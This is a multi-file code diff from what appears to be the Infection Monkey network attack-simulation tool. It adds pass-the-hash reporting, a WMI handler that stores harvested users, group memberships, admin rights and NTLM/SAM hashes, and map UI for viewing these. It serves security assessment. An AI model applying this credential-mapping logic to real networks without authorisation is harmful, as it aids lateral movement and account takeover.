@ -470,7 +478,7 @@ class ReportService:
|
||||||
scans.rewind() # If we iterated over scans already we need to rewind.
|
scans.rewind() # If we iterated over scans already we need to rewind.
|
||||||
for scan in scans:
|
for scan in scans:
|
||||||
target_ip = scan['data']['machine']['ip_addr']
|
target_ip = scan['data']['machine']['ip_addr']
|
||||||
if target_subnet_range.is_in_range(unicode(target_ip)):
|
if target_subnet_range.is_in_range(text_type(target_ip)):
|
||||||
monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
|
monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
|
||||||
cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
|
cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
|
||||||
source_subnet_range,
|
source_subnet_range,
|
||||||
|
@ -529,23 +537,44 @@ class ReportService:
|
||||||
|
|
||||||
return cross_segment_issues
|
return cross_segment_issues
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_domain_issues():
|
||||||
|
|
||||||
|
ISSUE_GENERATORS = [
|
||||||
|
PTHReportService.get_duplicated_passwords_issues,
|
||||||
|
PTHReportService.get_shared_admins_issues,
|
||||||
|
]
|
||||||
|
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
|
||||||
|
domain_issues_dict = {}
|
||||||
|
for issue in issues:
|
||||||
|
if not issue.get('is_local', True):
|
||||||
|
machine = issue.get('machine').upper()
|
||||||
|
if machine not in domain_issues_dict:
|
||||||
|
domain_issues_dict[machine] = []
|
||||||
|
domain_issues_dict[machine].append(issue)
|
||||||
|
logger.info('Domain issues generated for reporting')
|
||||||
|
return domain_issues_dict
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_issues():
|
def get_issues():
|
||||||
ISSUE_GENERATORS = [
|
ISSUE_GENERATORS = [
|
||||||
ReportService.get_exploits,
|
ReportService.get_exploits,
|
||||||
ReportService.get_tunnels,
|
ReportService.get_tunnels,
|
||||||
ReportService.get_island_cross_segment_issues,
|
ReportService.get_island_cross_segment_issues,
|
||||||
ReportService.get_azure_issues
|
ReportService.get_azure_issues,
|
||||||
|
PTHReportService.get_duplicated_passwords_issues,
|
||||||
|
PTHReportService.get_strong_users_on_crit_issues
|
||||||
]
|
]
|
||||||
|
|
||||||
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
|
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
|
||||||
|
|
||||||
issues_dict = {}
|
issues_dict = {}
|
||||||
for issue in issues:
|
for issue in issues:
|
||||||
machine = issue['machine']
|
if issue.get('is_local', True):
|
||||||
if machine not in issues_dict:
|
machine = issue.get('machine').upper()
|
||||||
issues_dict[machine] = []
|
if machine not in issues_dict:
|
||||||
issues_dict[machine].append(issue)
|
issues_dict[machine] = []
|
||||||
|
issues_dict[machine].append(issue)
|
||||||
logger.info('Issues generated for reporting')
|
logger.info('Issues generated for reporting')
|
||||||
return issues_dict
|
return issues_dict
|
||||||
|
|
||||||
|
@ -613,6 +642,8 @@ class ReportService:
|
||||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||||
issue['username'] in config_users or issue['type'] == 'ssh':
|
issue['username'] in config_users or issue['type'] == 'ssh':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||||
|
elif issue['type'] == 'strong_users_on_crit':
|
||||||
|
issues_byte_array[ReportService.ISSUES_DICT.PTH_CRIT_SERVICES_ACCESS.value] = True
|
||||||
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
|
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
|
||||||
|
|
||||||
|
@ -620,7 +651,7 @@ class ReportService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_warnings_overview(issues, cross_segment_issues):
|
def get_warnings_overview(issues, cross_segment_issues):
|
||||||
warnings_byte_array = [False] * 2
|
warnings_byte_array = [False] * len(ReportService.WARNINGS_DICT)
|
||||||
|
|
||||||
for machine in issues:
|
for machine in issues:
|
||||||
for issue in issues[machine]:
|
for issue in issues[machine]:
|
||||||
|
@ -628,6 +659,10 @@ class ReportService:
|
||||||
warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
|
warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
|
||||||
elif issue['type'] == 'tunnel':
|
elif issue['type'] == 'tunnel':
|
||||||
warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True
|
warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True
|
||||||
|
elif issue['type'] == 'shared_admins':
|
||||||
|
warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_LOCAL_ADMIN.value] = True
|
||||||
|
elif issue['type'] == 'shared_passwords':
|
||||||
|
warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_PASSWORDS.value] = True
|
||||||
|
|
||||||
if len(cross_segment_issues) != 0:
|
if len(cross_segment_issues) != 0:
|
||||||
warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
|
warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
|
||||||
|
@ -651,6 +686,7 @@ class ReportService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_report():
|
def get_report():
|
||||||
|
domain_issues = ReportService.get_domain_issues()
|
||||||
issues = ReportService.get_issues()
|
issues = ReportService.get_issues()
|
||||||
config_users = ReportService.get_config_users()
|
config_users = ReportService.get_config_users()
|
||||||
config_passwords = ReportService.get_config_passwords()
|
config_passwords = ReportService.get_config_passwords()
|
||||||
|
@ -678,11 +714,14 @@ class ReportService:
|
||||||
'exploited': ReportService.get_exploited(),
|
'exploited': ReportService.get_exploited(),
|
||||||
'stolen_creds': ReportService.get_stolen_creds(),
|
'stolen_creds': ReportService.get_stolen_creds(),
|
||||||
'azure_passwords': ReportService.get_azure_creds(),
|
'azure_passwords': ReportService.get_azure_creds(),
|
||||||
'ssh_keys': ReportService.get_ssh_keys()
|
'ssh_keys': ReportService.get_ssh_keys(),
|
||||||
|
'strong_users': PTHReportService.get_strong_users_on_crit_details(),
|
||||||
|
'pth_map': PTHReportService.get_pth_map()
|
||||||
},
|
},
|
||||||
'recommendations':
|
'recommendations':
|
||||||
{
|
{
|
||||||
'issues': issues
|
'issues': issues,
|
||||||
|
'domain_issues': domain_issues
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,155 @@
|
||||||
|
from cc.database import mongo
|
||||||
|
from cc.services.groups_and_users_consts import USERTYPE, GROUPTYPE
|
||||||
|
|
||||||
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
|
||||||
|
class WMIHandler(object):
|
||||||
|
|
||||||
|
ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
|
||||||
|
|
||||||
|
def __init__(self, monkey_id, wmi_info, user_secrets):
|
||||||
|
|
||||||
|
self.monkey_id = monkey_id
|
||||||
|
self.info_for_mongo = {}
|
||||||
|
self.users_secrets = user_secrets
|
||||||
|
self.users_info = wmi_info['Win32_UserAccount']
|
||||||
|
self.groups_info = wmi_info['Win32_Group']
|
||||||
|
self.groups_and_users = wmi_info['Win32_GroupUser']
|
||||||
|
self.services = wmi_info['Win32_Service']
|
||||||
|
self.products = wmi_info['Win32_Product']
|
||||||
|
|
||||||
|
def process_and_handle_wmi_info(self):
|
||||||
|
|
||||||
|
self.add_groups_to_collection()
|
||||||
|
self.add_users_to_collection()
|
||||||
|
self.create_group_user_connection()
|
||||||
|
self.insert_info_to_mongo()
|
||||||
|
self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id)
|
||||||
|
self.update_admins_retrospective()
|
||||||
|
self.update_critical_services()
|
||||||
|
|
||||||
|
def update_critical_services(self):
|
||||||
|
critical_names = ("W3svc", "MSExchangeServiceHost", "dns", 'MSSQL$SQLEXPRES')
|
||||||
|
mongo.db.monkey.update({'_id': self.monkey_id}, {'$set': {'critical_services': []}})
|
||||||
|
|
||||||
|
services_names_list = [str(i['Name'])[2:-1] for i in self.services]
|
||||||
|
products_names_list = [str(i['Name'])[2:-2] for i in self.products]
|
||||||
|
|
||||||
|
for name in critical_names:
|
||||||
|
if name in services_names_list or name in products_names_list:
|
||||||
|
mongo.db.monkey.update({'_id': self.monkey_id}, {'$addToSet': {'critical_services': name}})
|
||||||
|
|
||||||
|
def build_entity_document(self, entity_info, monkey_id=None):
|
||||||
|
general_properties_dict = {
|
||||||
|
'SID': str(entity_info['SID'])[4:-1],
|
||||||
|
'name': str(entity_info['Name'])[2:-1],
|
||||||
|
'machine_id': monkey_id,
|
||||||
|
'member_of': [],
|
||||||
|
'admin_on_machines': []
|
||||||
|
}
|
||||||
|
|
||||||
|
if monkey_id:
|
||||||
|
general_properties_dict['domain_name'] = None
|
||||||
|
else:
|
||||||
|
general_properties_dict['domain_name'] = str(entity_info['Domain'])[2:-1]
|
||||||
|
|
||||||
|
return general_properties_dict
|
||||||
|
|
||||||
|
def add_users_to_collection(self):
|
||||||
|
for user in self.users_info:
|
||||||
|
if not user.get('LocalAccount'):
|
||||||
|
base_entity = self.build_entity_document(user)
|
||||||
|
else:
|
||||||
|
base_entity = self.build_entity_document(user, self.monkey_id)
|
||||||
|
base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm')
|
||||||
|
base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam')
|
||||||
|
base_entity['secret_location'] = []
|
||||||
|
|
||||||
|
base_entity['type'] = USERTYPE
|
||||||
|
self.info_for_mongo[base_entity.get('SID')] = base_entity
|
||||||
|
|
||||||
|
def add_groups_to_collection(self):
|
||||||
|
for group in self.groups_info:
|
||||||
|
if not group.get('LocalAccount'):
|
||||||
|
base_entity = self.build_entity_document(group)
|
||||||
|
else:
|
||||||
|
base_entity = self.build_entity_document(group, self.monkey_id)
|
||||||
|
base_entity['entities_list'] = []
|
||||||
|
base_entity['type'] = GROUPTYPE
|
||||||
|
self.info_for_mongo[base_entity.get('SID')] = base_entity
|
||||||
|
|
||||||
|
def create_group_user_connection(self):
|
||||||
|
for group_user_couple in self.groups_and_users:
|
||||||
|
group_part = group_user_couple['GroupComponent']
|
||||||
|
child_part = group_user_couple['PartComponent']
|
||||||
|
group_sid = str(group_part['SID'])[4:-1]
|
||||||
|
groups_entities_list = self.info_for_mongo[group_sid]['entities_list']
|
||||||
|
child_sid = ''
|
||||||
|
|
||||||
|
if type(child_part) in (unicode, str):
|
||||||
|
child_part = str(child_part)
|
||||||
|
name = None
|
||||||
|
domain_name = None
|
||||||
|
if "cimv2:Win32_UserAccount" in child_part:
|
||||||
|
# domain user
|
||||||
|
domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0]
|
||||||
|
name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-2]
|
||||||
|
|
||||||
|
if "cimv2:Win32_Group" in child_part:
|
||||||
|
# domain group
|
||||||
|
domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[0]
|
||||||
|
name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][:-2]
|
||||||
|
|
||||||
|
for entity in self.info_for_mongo:
|
||||||
|
if self.info_for_mongo[entity]['name'] == name and \
|
||||||
|
self.info_for_mongo[entity]['domain'] == domain_name:
|
||||||
|
child_sid = self.info_for_mongo[entity]['SID']
|
||||||
|
else:
|
||||||
|
child_sid = str(child_part['SID'])[4:-1]
|
||||||
|
|
||||||
|
if child_sid and child_sid not in groups_entities_list:
|
||||||
|
groups_entities_list.append(child_sid)
|
||||||
|
|
||||||
|
if child_sid:
|
||||||
|
if child_sid in self.info_for_mongo:
|
||||||
|
self.info_for_mongo[child_sid]['member_of'].append(group_sid)
|
||||||
|
|
||||||
|
def insert_info_to_mongo(self):
|
||||||
|
for entity in self.info_for_mongo.values():
|
||||||
|
if entity['machine_id']:
|
||||||
|
# Handling for local entities.
|
||||||
|
mongo.db.groupsandusers.update({'SID': entity['SID'],
|
||||||
|
'machine_id': entity['machine_id']}, entity, upsert=True)
|
||||||
|
else:
|
||||||
|
# Handlings for domain entities.
|
||||||
|
if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}):
|
||||||
|
mongo.db.groupsandusers.insert_one(entity)
|
||||||
|
else:
|
||||||
|
# if entity is domain entity, add the monkey id of current machine to secrets_location.
|
||||||
|
# (found on this machine)
|
||||||
|
if entity.get('NTLM_secret'):
|
||||||
|
mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': USERTYPE},
|
||||||
|
{'$addToSet': {'secret_location': self.monkey_id}})
|
||||||
|
|
||||||
|
def update_admins_retrospective(self):
|
||||||
|
for profile in self.info_for_mongo:
|
||||||
|
groups_from_mongo = mongo.db.groupsandusers.find({
|
||||||
|
'SID': {'$in': self.info_for_mongo[profile]['member_of']}},
|
||||||
|
{'admin_on_machines': 1})
|
||||||
|
|
||||||
|
for group in groups_from_mongo:
|
||||||
|
if group['admin_on_machines']:
|
||||||
|
mongo.db.groupsandusers.update_one({'SID': self.info_for_mongo[profile]['SID']},
|
||||||
|
{'$addToSet': {'admin_on_machines': {
|
||||||
|
'$each': group['admin_on_machines']}}})
|
||||||
|
|
||||||
|
def add_admin(self, group, machine_id):
|
||||||
|
for sid in group['entities_list']:
|
||||||
|
mongo.db.groupsandusers.update_one({'SID': sid},
|
||||||
|
{'$addToSet': {'admin_on_machines': machine_id}})
|
||||||
|
entity_details = mongo.db.groupsandusers.find_one({'SID': sid},
|
||||||
|
{'type': USERTYPE, 'entities_list': 1})
|
||||||
|
if entity_details.get('type') == GROUPTYPE:
|
||||||
|
self.add_admin(entity_details, machine_id)
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -31,14 +31,14 @@
|
||||||
"babel-preset-react": "^6.24.1",
|
"babel-preset-react": "^6.24.1",
|
||||||
"babel-preset-stage-0": "^6.5.0",
|
"babel-preset-stage-0": "^6.5.0",
|
||||||
"bower-webpack-plugin": "^0.1.9",
|
"bower-webpack-plugin": "^0.1.9",
|
||||||
"chai": "^4.1.2",
|
"chai": "^4.2.0",
|
||||||
"copyfiles": "^2.0.0",
|
"copyfiles": "^2.1.0",
|
||||||
"css-loader": "^1.0.0",
|
"css-loader": "^1.0.0",
|
||||||
"eslint": "^5.3.0",
|
"eslint": "^5.6.1",
|
||||||
"eslint-loader": "^2.1.0",
|
"eslint-loader": "^2.1.1",
|
||||||
"eslint-plugin-react": "^7.11.1",
|
"eslint-plugin-react": "^7.11.1",
|
||||||
"file-loader": "^1.1.11",
|
"file-loader": "^1.1.11",
|
||||||
"glob": "^7.0.0",
|
"glob": "^7.1.3",
|
||||||
"html-loader": "^0.5.5",
|
"html-loader": "^0.5.5",
|
||||||
"html-webpack-plugin": "^3.2.0",
|
"html-webpack-plugin": "^3.2.0",
|
||||||
"karma": "^3.0.0",
|
"karma": "^3.0.0",
|
||||||
|
@ -48,45 +48,45 @@
|
||||||
"karma-mocha-reporter": "^2.2.5",
|
"karma-mocha-reporter": "^2.2.5",
|
||||||
"karma-phantomjs-launcher": "^1.0.0",
|
"karma-phantomjs-launcher": "^1.0.0",
|
||||||
"karma-sourcemap-loader": "^0.3.5",
|
"karma-sourcemap-loader": "^0.3.5",
|
||||||
"karma-webpack": "^3.0.0",
|
"karma-webpack": "^3.0.5",
|
||||||
"minimist": "^1.2.0",
|
"minimist": "^1.2.0",
|
||||||
"mocha": "^5.2.0",
|
"mocha": "^5.2.0",
|
||||||
"null-loader": "^0.1.1",
|
"null-loader": "^0.1.1",
|
||||||
"open": "0.0.5",
|
"open": "0.0.5",
|
||||||
"phantomjs-prebuilt": "^2.1.16",
|
"phantomjs-prebuilt": "^2.1.16",
|
||||||
"react-addons-test-utils": "^15.6.2",
|
"react-addons-test-utils": "^15.6.2",
|
||||||
"react-hot-loader": "^4.3.4",
|
"react-hot-loader": "^4.3.11",
|
||||||
"rimraf": "^2.6.2",
|
"rimraf": "^2.6.2",
|
||||||
"style-loader": "^0.22.1",
|
"style-loader": "^0.22.1",
|
||||||
"url-loader": "^1.1.0",
|
"url-loader": "^1.1.2",
|
||||||
"webpack": "^4.16.5",
|
"webpack": "^4.20.2",
|
||||||
"webpack-cli": "^3.1.0",
|
"webpack-cli": "^3.1.2",
|
||||||
"webpack-dev-server": "^3.1.5"
|
"webpack-dev-server": "^3.1.9"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"bootstrap": "3.3.7",
|
"bootstrap": "3.3.7",
|
||||||
"core-js": "^2.5.7",
|
"core-js": "^2.5.7",
|
||||||
"downloadjs": "^1.4.7",
|
"downloadjs": "^1.4.7",
|
||||||
"fetch": "^1.1.0",
|
"fetch": "^1.1.0",
|
||||||
"js-file-download": "^0.4.1",
|
"js-file-download": "^0.4.4",
|
||||||
"json-loader": "^0.5.7",
|
"json-loader": "^0.5.7",
|
||||||
"jwt-decode": "^2.2.0",
|
"jwt-decode": "^2.2.0",
|
||||||
"moment": "^2.22.2",
|
"moment": "^2.22.2",
|
||||||
"normalize.css": "^8.0.0",
|
"normalize.css": "^8.0.0",
|
||||||
"npm": "^6.3.0",
|
"npm": "^6.4.1",
|
||||||
"prop-types": "^15.6.2",
|
"prop-types": "^15.6.2",
|
||||||
"rc-progress": "^2.2.5",
|
"rc-progress": "^2.2.6",
|
||||||
"react": "^16.4.2",
|
"react": "^16.5.2",
|
||||||
"react-bootstrap": "^0.32.1",
|
"react-bootstrap": "^0.32.4",
|
||||||
"react-copy-to-clipboard": "^5.0.1",
|
"react-copy-to-clipboard": "^5.0.1",
|
||||||
"react-data-components": "^1.2.0",
|
"react-data-components": "^1.2.0",
|
||||||
"react-dimensions": "^1.3.0",
|
"react-dimensions": "^1.3.0",
|
||||||
"react-dom": "^16.4.2",
|
"react-dom": "^16.5.2",
|
||||||
"react-fa": "^5.0.0",
|
"react-fa": "^5.0.0",
|
||||||
"react-graph-vis": "^1.0.2",
|
"react-graph-vis": "^1.0.2",
|
||||||
"react-json-tree": "^0.11.0",
|
"react-json-tree": "^0.11.0",
|
||||||
"react-jsonschema-form": "^1.0.4",
|
"react-jsonschema-form": "^1.0.5",
|
||||||
"react-redux": "^5.0.7",
|
"react-redux": "^5.1.1",
|
||||||
"react-router-dom": "^4.3.1",
|
"react-router-dom": "^4.3.1",
|
||||||
"react-table": "^6.8.6",
|
"react-table": "^6.8.6",
|
||||||
"react-toggle": "^4.0.1",
|
"react-toggle": "^4.0.1",
|
||||||
|
|
|
@ -7,6 +7,7 @@ import RunServerPage from 'components/pages/RunServerPage';
|
||||||
import ConfigurePage from 'components/pages/ConfigurePage';
|
import ConfigurePage from 'components/pages/ConfigurePage';
|
||||||
import RunMonkeyPage from 'components/pages/RunMonkeyPage';
|
import RunMonkeyPage from 'components/pages/RunMonkeyPage';
|
||||||
import MapPage from 'components/pages/MapPage';
|
import MapPage from 'components/pages/MapPage';
|
||||||
|
import PassTheHashMapPage from 'components/pages/PassTheHashMapPage';
|
||||||
import TelemetryPage from 'components/pages/TelemetryPage';
|
import TelemetryPage from 'components/pages/TelemetryPage';
|
||||||
import StartOverPage from 'components/pages/StartOverPage';
|
import StartOverPage from 'components/pages/StartOverPage';
|
||||||
import ReportPage from 'components/pages/ReportPage';
|
import ReportPage from 'components/pages/ReportPage';
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
let groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island',
|
const groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island',
|
||||||
'island_monkey_linux', 'island_monkey_linux_running', 'island_monkey_windows', 'island_monkey_windows_running',
|
'island_monkey_linux', 'island_monkey_linux_running', 'island_monkey_windows', 'island_monkey_windows_running',
|
||||||
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
|
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
|
||||||
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
|
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
|
||||||
|
@ -17,7 +17,22 @@ let getGroupsOptions = () => {
|
||||||
return groupOptions;
|
return groupOptions;
|
||||||
};
|
};
|
||||||
|
|
||||||
export const options = {
|
const groupNamesPth = ['normal', 'critical'];
|
||||||
|
|
||||||
|
let getGroupsOptionsPth = () => {
|
||||||
|
let groupOptions = {};
|
||||||
|
for (let groupName of groupNamesPth) {
|
||||||
|
groupOptions[groupName] =
|
||||||
|
{
|
||||||
|
shape: 'image',
|
||||||
|
size: 50,
|
||||||
|
image: require('../../images/nodes/pth/' + groupName + '.png')
|
||||||
|
};
|
||||||
|
}
|
||||||
|
return groupOptions;
|
||||||
|
};
|
||||||
|
|
||||||
|
export const basic_options = {
|
||||||
autoResize: true,
|
autoResize: true,
|
||||||
layout: {
|
layout: {
|
||||||
improvedLayout: false
|
improvedLayout: false
|
||||||
|
@ -34,10 +49,22 @@ export const options = {
|
||||||
avoidOverlap: 0.5
|
avoidOverlap: 0.5
|
||||||
},
|
},
|
||||||
minVelocity: 0.75
|
minVelocity: 0.75
|
||||||
},
|
}
|
||||||
groups: getGroupsOptions()
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
export const options = (() => {
|
||||||
|
let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */
|
||||||
|
opts.groups = getGroupsOptions();
|
||||||
|
return opts;
|
||||||
|
})();
|
||||||
|
|
||||||
|
export const optionsPth = (() => {
|
||||||
|
let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */
|
||||||
|
opts.groups = getGroupsOptionsPth();
|
||||||
|
opts.physics.barnesHut.gravitationalConstant = -20000;
|
||||||
|
return opts;
|
||||||
|
})();
|
||||||
|
|
||||||
export function edgeGroupToColor(group) {
|
export function edgeGroupToColor(group) {
|
||||||
switch (group) {
|
switch (group) {
|
||||||
case 'exploited':
|
case 'exploited':
|
||||||
|
|
|
@ -0,0 +1,247 @@
|
||||||
|
import React from 'react';
|
||||||
|
import {Icon} from 'react-fa';
|
||||||
|
import Toggle from 'react-toggle';
|
||||||
|
import {OverlayTrigger, Tooltip} from 'react-bootstrap';
|
||||||
|
import download from 'downloadjs'
|
||||||
|
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
|
||||||
|
|
||||||
|
class InfMapPreviewPaneComponent extends PreviewPaneComponent {
|
||||||
|
|
||||||
|
osRow(asset) {
|
||||||
|
return (
|
||||||
|
<tr>
|
||||||
|
<th>Operating System</th>
|
||||||
|
<td>{asset.os.charAt(0).toUpperCase() + asset.os.slice(1)}</td>
|
||||||
|
</tr>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
ipsRow(asset) {
|
||||||
|
return (
|
||||||
|
<tr>
|
||||||
|
<th>IP Addresses</th>
|
||||||
|
<td>{asset.ip_addresses.map(val => <div key={val}>{val}</div>)}</td>
|
||||||
|
</tr>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
servicesRow(asset) {
|
||||||
|
return (
|
||||||
|
<tr>
|
||||||
|
<th>Services</th>
|
||||||
|
<td>{asset.services.map(val => <div key={val}>{val}</div>)}</td>
|
||||||
|
</tr>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
accessibleRow(asset) {
|
||||||
|
return (
|
||||||
|
<tr>
|
||||||
|
<th>
|
||||||
|
Accessible From
|
||||||
|
{this.generateToolTip('List of machine which can access this one using a network protocol')}
|
||||||
|
</th>
|
||||||
|
<td>{asset.accessible_from_nodes.map(val => <div key={val}>{val}</div>)}</td>
|
||||||
|
</tr>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
statusRow(asset) {
|
||||||
|
return (
|
||||||
|
<tr>
|
||||||
|
<th>Status</th>
|
||||||
|
<td>{(asset.dead) ? 'Dead' : 'Alive'}</td>
|
||||||
|
</tr>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
forceKill(event, asset) {
|
||||||
|
let newConfig = asset.config;
|
||||||
|
newConfig['alive'] = !event.target.checked;
|
||||||
|
this.authFetch('/api/monkey/' + asset.guid,
|
||||||
|
{
|
||||||
|
method: 'PATCH',
|
||||||
|
headers: {'Content-Type': 'application/json'},
|
||||||
|
body: JSON.stringify({config: newConfig})
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
forceKillRow(asset) {
|
||||||
|
return (
|
||||||
|
<tr>
|
||||||
|
<th>
|
||||||
|
Force Kill
|
||||||
|
{this.generateToolTip('If this is on, monkey will die next time it communicates')}
|
||||||
|
</th>
|
||||||
|
<td>
|
||||||
|
<Toggle id={asset.id} checked={!asset.config.alive} icons={false} disabled={asset.dead}
|
||||||
|
onChange={(e) => this.forceKill(e, asset)}/>
|
||||||
|
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
unescapeLog(st) {
|
||||||
|
return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string.
|
||||||
|
.replace(/\\n/g, "\n")
|
||||||
|
.replace(/\\r/g, "\r")
|
||||||
|
.replace(/\\t/g, "\t")
|
||||||
|
.replace(/\\b/g, "\b")
|
||||||
|
.replace(/\\f/g, "\f")
|
||||||
|
.replace(/\\"/g, '\"')
|
||||||
|
.replace(/\\'/g, "\'")
|
||||||
|
.replace(/\\&/g, "\&");
|
||||||
|
}
|
||||||
|
|
||||||
|
downloadLog(asset) {
|
||||||
|
this.authFetch('/api/log?id=' + asset.id)
|
||||||
|
.then(res => res.json())
|
||||||
|
.then(res => {
|
||||||
|
let timestamp = res['timestamp'];
|
||||||
|
timestamp = timestamp.substr(0, timestamp.indexOf('.'));
|
||||||
|
let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log';
|
||||||
|
let logContent = this.unescapeLog(res['log']);
|
||||||
|
download(logContent, filename, 'text/plain');
|
||||||
|
});
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
downloadLogRow(asset) {
|
||||||
|
return (
|
||||||
|
<tr>
|
||||||
|
<th>
|
||||||
|
Download Log
|
||||||
|
</th>
|
||||||
|
<td>
|
||||||
|
<a type="button" className="btn btn-primary"
|
||||||
|
disabled={!asset.has_log}
|
||||||
|
onClick={() => this.downloadLog(asset)}>Download</a>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
exploitsTimeline(asset) {
|
||||||
|
if (asset.exploits.length === 0) {
|
||||||
|
return (<div/>);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<h4 style={{'marginTop': '2em'}}>
|
||||||
|
Exploit Timeline
|
||||||
|
{this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')}
|
||||||
|
</h4>
|
||||||
|
<ul className="timeline">
|
||||||
|
{asset.exploits.map(exploit =>
|
||||||
|
<li key={exploit.timestamp}>
|
||||||
|
<div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
|
||||||
|
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
|
||||||
|
<div>{exploit.origin}</div>
|
||||||
|
<div>{exploit.exploiter}</div>
|
||||||
|
</li>
|
||||||
|
)}
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
assetInfo(asset) {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<table className="table table-condensed">
|
||||||
|
<tbody>
|
||||||
|
{this.osRow(asset)}
|
||||||
|
{this.ipsRow(asset)}
|
||||||
|
{this.servicesRow(asset)}
|
||||||
|
{this.accessibleRow(asset)}
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
{this.exploitsTimeline(asset)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
infectedAssetInfo(asset) {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<table className="table table-condensed">
|
||||||
|
<tbody>
|
||||||
|
{this.osRow(asset)}
|
||||||
|
{this.statusRow(asset)}
|
||||||
|
{this.ipsRow(asset)}
|
||||||
|
{this.servicesRow(asset)}
|
||||||
|
{this.accessibleRow(asset)}
|
||||||
|
{this.forceKillRow(asset)}
|
||||||
|
{this.downloadLogRow(asset)}
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
{this.exploitsTimeline(asset)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
scanInfo(edge) {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<table className="table table-condensed">
|
||||||
|
<tbody>
|
||||||
|
<tr>
|
||||||
|
<th>Operating System</th>
|
||||||
|
<td>{edge.os.type}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>IP Address</th>
|
||||||
|
<td>{edge.ip_address}</td>
|
||||||
|
</tr>
|
||||||
|
